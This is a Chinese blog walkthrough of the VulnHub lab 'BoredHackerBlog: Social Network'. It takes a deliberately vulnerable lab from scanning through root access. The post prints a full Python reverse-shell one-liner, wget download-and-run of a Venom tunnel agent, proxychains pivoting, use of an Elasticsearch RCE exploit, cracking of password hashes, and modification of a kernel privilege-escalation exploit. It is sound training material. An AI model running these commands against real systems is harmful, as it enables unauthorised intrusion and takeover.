作者名:Demo不是emo
主页面链接:主页传送门** 创作初心:对于计算机的学习者来说,初期的学习无疑是最迷茫和难以坚持的,我也在不断的探索,在CSDN写博客主要是为了分享自己的学习历程,学习方法,总结的经验 座右铭:不要让时代的悲哀成为你的悲哀 专研方向:网络安全,数据结构**
每日emo:他对我一阵好,一阵坏,我跟别人炫耀一阵,沉默一阵
给自己定了个小目标,从今天开始进行24次系统性打靶训练,每次打靶后都会分享靶场攻略和总结的知识点,如果对渗透测试和打靶比较感兴趣的小伙伴们也可以跟着我一起训练哦(这24个靶场都是精挑细选的,基本覆盖了渗透测试需要了解的全部类型的漏洞),我们直接进行第一次打靶训练
第一次打靶训练针对的知识点如下
本周我们学习的对应靶场就是BOREDHACKERBLOG: SOCIAL NETWORK(中等难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场入口在这,推荐大家使用,大家进去直接搜索BOREDHACKERBLOG: SOCIAL NETWORK就能下载今天的靶场了,或者点击下面的链接也能打开下载地址
目录
直接在vbox导入就可以,如果出现了报错,就像下面这样把启用usb控制器关掉就可以正常打开了
这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),这里用的是virtual来给大家演示具体操作,如下面这样靶机就算开启了,具体搭建过程就不多讲了,有问题的也可以私信问我
1.主机发现
这里看到,我的kali攻击机的ip是172.21.9.151,而目标机器的ip我们现在并不知道,只知道目标和我们在同一网段内,所以我们首先要做的就是找到目标的ip地址,也就是主机发现。
我们用arp-scan扫描工具扫描局域网内的主机(该工具kali自带)
arp-scan -l
扫描结果如下
因为我这是校园网,有防护,所以会扫出来很多不存在的主机,此时看最后的硬件厂商即可,上面的扫描结果可以看到只有172.21.10.83这台主机的硬件厂商与其他机器不同,所以它应该就是我们今天渗透的目标
2.端口探测
这里我们成功知道了目标的ip地址为172.21.10.83,所以我们先用namp扫描工具对目标开启的端口和服务进行探测,扫描命令如下
nmap -A 172.21.10.83
扫描结果如下:
可以看到目标对外开放了22端口,对应了ssh服务,还开放了5000端口,对应了http网页服务,而且该网页是一个后端语言为python的网页,因为ssh需要账密,所以我们先去访问目标的网页看能不能从web端入手
3.路径爬取
可以看到目标网页是一个类似于留言板的网页,而且声称这里是安全的,看到留言板就想到了xss,但是经过一番测试后并没有成功绕过防护。而且f12开发者审查页面中也没发现作者留下来的提示信息。
所以先进行一遍目录扫描,这里我使用的是dirsearch目录扫描工具(kali自带),扫描命令如下(把ip换成你的靶机ip)
dirsearch -u "http://172.21.10.83:5000/" -e *
扫描结果如下
1.shell脚本
上面目录扫描结果可以看到只扫描出了一个/admin路径,我们访问看看
访问之后可以看到出现了一个代码输入页面,提示我们输入代码来执行,应该是说网站会执行我们输入的代码,再结合刚才信息收集时发现目标后端语言是python,这里我们直接尝试用python的反弹shell脚本来获取目标权限
python反弹shell脚本如下(需要把攻击机的ip换成你自己的)
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的攻击机ip",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
设置好自己kali攻击机的ip后,把这段shell脚本放入刚才的网站执行框(此时不要执行),如下
再去kali上开启对8888端口的监听,如下:
此时再回到网站点击test code执行代码,就可以监听端就可以成功拿到目标机器权限,如下:
可以看到我们已经成功拿到目标机器的root权限
2.服务发现
但是ls查找文件的时候看到了一个dockerfile文件,此时就开始怀疑我们目前只是拿到了一个docker容器内主机的权限,但也只是怀疑,所以我们需要进一步确认我们是否在docker容器内,这里给大家分享一个小技巧,就是下面这个命令
cat /proc/1/cgroup
这个命令可以查看Linux 初始化进程 id:1 的 cgroup 中包含的文件,如果里面有 docker 镜像信息的时候,可以确定是 docker容器,查看结果如下
可以看到里面确实存在了很多的docker镜像文件,所以我们现在确实是在docker容器里面,但是我们还要继续渗透,就只能从内网层面入手了,先查看该docker容器的网络信息,结果如下
可以看到该docker容器当前处于 127.17.0.3
显然和宿主机的 IP 是不同的
docker 容器的这个网段可以认为是目标的内网网段,接下来要思考的是:
- 有没有其他主机呢?
- 其他主机有没有存在什么漏洞呢?
- 是否能通过漏洞获得更多信息呢?
所以我们先对该网段进行内网主机发现,其实就是挨个ping看哪个能ping通,命令如下:
for i in $(seq 1 65535);do ping -c 1 172.17.0.$i; done
探测结果如下
可以看到这里探测到了三台主机存活,其中的172.17.0.3就是我们现在所处的docker容器说明内网中还存在两台机器
3.内网穿透
因为我们只拿到了一台docker机器,并且处于内网中,但是接下来又对其他两台主机进行扫描,因为 kali 这些工具不能直接用在内网环境中,所以需要做隧道进行内网穿透,才能对另外两台主机进行渗透
网上有很多内网穿透工具,这里我们使用venom内网穿透工具,下载地址如下
Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers (github.com)
下载下来就是一个venom文件夹,内容如下:
此时再新开一个终端,进入该目录下,现在开始搭建内网穿透,简单原理就是服务端开启对一个端口的监听,再让目标机器(代理端)回弹到该端口上,就可以建立连接了,搭建步骤如下
【1】开启监听
开启本地的7777(也可以自己定,只要不冲突就好)端口,用于接收回弹的代理端,命令如下
./admin_linux_x64 -lport 7777
此时有可能会出现权限不足的提示,我们直接给他加一个执行权限就好了,命令如下
chmod +x admin_linux_x64
【2】开启http服务
开启http服务是为了待会目标主机能从kali攻击机下载agent_linux_x64文件(代理端用来回弹的文件),重新打开一个终端进入该文件下,输入下面命令即可:
python3 -m http.server 8000
这里的意思是开启http服务并搭建在8000端口(同样可以自己定)上,如下
【3】给目标下载代理端文件
代理端文件就是agent_linux_x64文件,我们直接用wget命令下载即可,命令如下
wget http://你的kali攻击机的ip:8000/agent_linux_x64
可以看到已经成功将代理端文件下载到目标机器上了
【4】目标回弹
最后一步就是在目标上执行这个代理端文件了,这里同样需要先给代理端文件加上执行权限,命令如下:
chmod +x agent_linux_x64
再执行该文件,将权限回弹,命令如下:
./agent_linux_x64 -rhost 你的kali攻击机的ip -rport 7777
此时再查看刚才开启监听的那个终端,就可以看到已经成功连接了,并建立了一个控制台,如下
【5】开启代理
这就是控制台页面了,可能很多人没用过这个工具,所以也不知道它的用法,这里我来简单介绍一下,在控制台输入help即可查看帮助
这里简单介绍一下我们需要用到的命令
show——列出连接的节点
goto——切换到目标节点
socks——在本机的指定端口开启代理服务,通过该端口的数据都会经过代理节点
1.我们使用show命令查看一下已经连接的节点,结果如图
可以看到这里已经有了一个连接,这就是我们刚才连接的目标机器
2.我们使用goto命令进入目标节点,如下
成功进入该节点,这里就相当于我们进入了目标机器,你们也可以输入shell,再输入ifconfig,可以看到此时的ip是目标的ip,这里就不演示了
3.使用socks命令在本机的指定端口建立一个节点1的代理
我这里选择的是6666端口,你们可以随便选,前提就是不冲突,此时我们就成功在本机的6666端口建立了一个代理服务,并且是socks5代理,此时流经该端口的数据都会流经节点1,也就是目标机器
【6】攻击利用
现在代理服务是配置好了,但是我们的搭建代理的目标是让kali上的工具可以对目标进行操作,所以我们还需要挂载proxychains,修改/etc/proxychains4.conf文件,注释掉最初的代理配置,添加本机6666端口的代理配置,即
socks 127.0.0.1 6666
修改好之后kali上所有的工具使用时只要前面加上了proxychains就会流经代理节点,即我们已经跟目标所在的内网建立了连接
4.内网信息收集
最开始进行内网主机发现时,探测到了内网中还存在172.17.0.1和172.17.0.2这两台机器,
【1】172.17.0.1主机信息收集
老规矩,直接nmap扫描套餐安排先扫描172.17.0.1这台主机
注意内网穿透建立的连接使用nmap扫描目标机器的时候一定要加上-Pn再扫描,因为此时连接可能不是这么稳定,有可能探测不到然后nmap就认为目标没有存活,从而不去扫描,所以需要-Pn使nmap默认主机存活
命令如下:
proxychains nmap -Pn -sT 172.17.0.1
扫描结果如下
看到目标开启了22端口和5000端口,发现和我们最开始对目标机器进行nmap扫描的结果一样,所以我怀疑这就是目标机器的内网ip,直接访问网页看看,注意这里浏览器同样需要连接代理,如下
此时再访问目标,看是否开启了网页服务,结果如下
可以看到不仅开启了网页服务,而且在后面尝试加admin,也能访问,并且页面与最开始信息收集时一模一样,所以大致可以确定172.17.0.1就是目标机器的内网ip
【2】172.17.0.2主机信息收集
同样nmap先扫描试试
proxychains nmap -Pn -sT 172.17.0.2
扫描结果如下
可以看到目标开启了一个9200端口,但因为是粗略扫描,所以服务显示得不完整,既然知道了目标只开启了9200端口,那我们就可以指定端口扫描,再用-sV来显示服务详细信息重新扫描,命令如下
proxychains nmap -Pn -sT -p 9200 -sV 172.17.0.2
可以看到9200端口上的是Elasticsearch 服务,版本为 1.4.2
5.漏洞利用
上面这个服务应该很多人都没听说过,我也一样,这时候我就要给大家推荐一个简单又好用的工具了 ,就是searchsploit漏洞查找工具(kali自带)
使用方法: searchsploit + 想查找的信息
返回结果: 包含该信息的漏洞和shellcode
这里我们直接用这个工具来查找有没有相关的漏洞和shellcode,如下
可以看到结果还是有很多的,但不一定都能成功,大家下去可以多试试,我也只是试了这里的第一个(首先尝试RCE的漏洞),是可以利用的
直接把第一个文件复制到当前文件下,cat查看该文件发现是用python2写的,因为刚才我们知道目标存在python环境,所以这个脚本目标也能执行,不用担心编译好上传后目标没有环境,我们直接用下面的命令运行一下试试
python2 36337.py
成功提示了该脚本用法,如下
这里我们直接使用该脚本
成功获取目标权限,并且仍然是root权限
6.密码破解
老规矩还是找找各个目录看看作者有没有留下什么信息
成功在根目录下发现一个passwords文件,有点可疑,cai查看一下,结果如下
可以看到这里存在了五个账户的账密,联想最初探测目标机器开启了SSH服务,嘿嘿嘿,看到一点胜利的曙光了,当务之急就是把这五个md5加密的密码破解出来,这里给大家推荐一个在线md5解密网站,网站链接如下,把5个密码丢进去解密就可以了
SOMD5 - MD5免费批量破解 - Batch Crack
解密结果如下
全部拿去用ssh登录目标机器试试,
结果只有john用户可以登录,心累,果然还是逃不过提权
7.本地提权
【1】本地信息收集
这里我首先尝试的是sudo提权,发现行不通,习惯性的看了一下系统信息,发现目标机器的linux内核版本是3.13,很古老啊,就怀疑有内核漏洞,我们直接用searchsploit搜一下对应版本的内核漏洞
【2】内核漏洞利用
可以发现这个内核版本存在很多漏洞,同样也不是全部都能用,需要慢慢试,这里就跳过试的环节了,linux/local/37292.c脚本可用
同样的,把他复制到当前文件夹来仔细研究一下
cp /usr/share/exploitdb/exploits/linux/local/37292.c exp.c
用cat查看该文件发现它详细提示了该脚本的使用方法
但是查看脚本能否被目标使用的一个前提就是目标存在该使用环境,通过该脚本用法可以知道该脚本使用过程中需要用到gcc来编译脚本,所以我们得去看看目标机器是否有gcc环境
可以看到目标机器上是没有gcc环境的,此时只能选择更换脚本或者更改脚本内容
【3】攻击代码修改
因为更换脚本又要一个一个尝试,太麻烦了,所以我们先看看能不能更改脚本的内容,先找找需要gcc的代码所在的位置,在代码尾部成功找到
这里红框内使用gcc的代码大致意思是使用 system 函数执行系统命令,再一次调用了 gcc 来编译一个名为ofs-lib的库文件
因为目标上没有 gcc 环境,所以我在想看能不能从 kali 上找到要用的库文件,然后修改源代码,不进行编译,直接读取库文件进行执行
意思就是找到它编译的这个库文件,直接跟他放在同一个文件夹中也能使脚本正常使用,因为c语言当需要用到另一个库文件时,如果代码中没有进行编译,那编译器会在本文件中寻找需要的库文件,所以把他要编译的库文件找到并跟这个脚本放一起就可疑让这个脚本不用编译,也就避免了使用gcc环境
kali自己携带了部分库文件,所以先在kali上查找库文件,命令如下:
locate ofs-lib.so
可以看到kali上存在这个库文件,并且返回了库文件所在的位置,同样的将这个库文件复制到当前文件夹
把刚才的exp.c文件红框内的代码删掉 ,删掉之后如下:
保存之后再用gcc编译,命令如下:
编译时会报一点错,但不影响编译结果,成功编译并在本文件下生成了一个名为exp的文件,这就是编译好的文件,此时所有准备工作都已经完成了
【8】最终获权
文件我们都做好了,最后当然是上传到目标机器并运行了,这里直接开启kaili的apache来开启http服务并传输文件
2.cp exp /var/www/html/exp3.cp ofs-lib.so /var/www/html/ofs-lib.so//下载脚本文件(ip换成你们自己kali攻击机的ip)//把当前文件夹下的文件放到tmp目录下(tmp文件权限较多,不容易出bug)
脚本执行后效果如下
可以看到成功拿到root权限,到这里这个靶场就结束了,这个靶场并不是很难,但需要很强的逻辑能力和基础能力,涉及到的知识点很多,外网,内网,容器和脚本等基础知识都有涉及,得一步一步来,需要的时间比较多,算是一次比较全面的训练了
二十四次系统性打靶训练第一次圆满结束,以后每周会进行一次打靶并记录,有兴趣的可以跟我一起哦,最后感谢大家的阅读,有什么问题或者网安方面的问题随时欢迎私信或评论区讨论,respect!